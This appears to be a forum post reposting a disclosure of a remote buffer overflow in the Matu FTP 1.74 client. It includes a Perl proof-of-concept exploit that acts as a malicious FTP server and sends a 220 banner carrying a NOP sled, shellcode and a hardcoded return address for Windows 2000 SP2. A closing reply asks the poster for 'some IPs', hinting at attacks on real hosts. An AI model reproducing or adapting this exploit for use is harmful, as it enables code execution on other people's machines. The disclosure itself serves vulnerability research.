Vurnerability: Matu FTP remote buffer overflow

[s0nIc]

Matu FTP is a Japanese FTP client software for Win32 Platform.
It was found an exploitable buffer overflow problem in Matu FTP Version 1.74.


The buffer overflow occurs when a long string like

220 AAAAAAAAAAAAAAAAA.....AAAAAAAAAAAAAAA

is received by Matu FTP in the beginning of an FTP session.
This vulnerability allows malicious FTP server to execute
an arbitrary code on client hosts.


/*---------------------------
Vendor Status
---------------------------*/
Notified with no response


/*---------------------------
POC
---------------------------*/
This exploit code is invoked as an FTP server through inetd.

#!/usr/local/bin/perl

#------------------------------------------------------
# Matu Ftp Version 1.74 exploit for Windows2000 Professional (SP2)
# ( run under inetd )
# written by Kanatoko
# http://www.jumperz.net/
#------------------------------------------------------
$|=1;

#egg written by UNYUN (http://www.shadowpenguin.org/)
$egg = "xEBx27x8Bx34x24x33xC9x33xD2xB2";
$egg .= "x0Bx03xF2x88x0Ex2BxF2xB8xAFxA7";
$egg .= "xE6x77xB1x05xB2x04x2BxE2x89x0C";
$egg .= "x24x2BxE2x89x34x24xFFxD0x90xEB";
$egg .= "xFDxE8xD4xFFxFFxFF";
$egg .= "notepad.exe";

#egg_address = 0x0012F43C
$buf = "x90" x 217;
$buf .= $egg;
$buf .= "A" x 2;
$buf .= "x3CxF4x12x00";
$buf .= "B" x 80;

print "220 $bufrn";

--

#sorry for the bad english

Kanatoko
http://www.jumperz.net/(Japanese)


Source: http://www.xatrix.org/article1410.html

[ac1dsp3ctrum]

LOL, w00t.... Hey s0nic, Hook a brother up with some IPs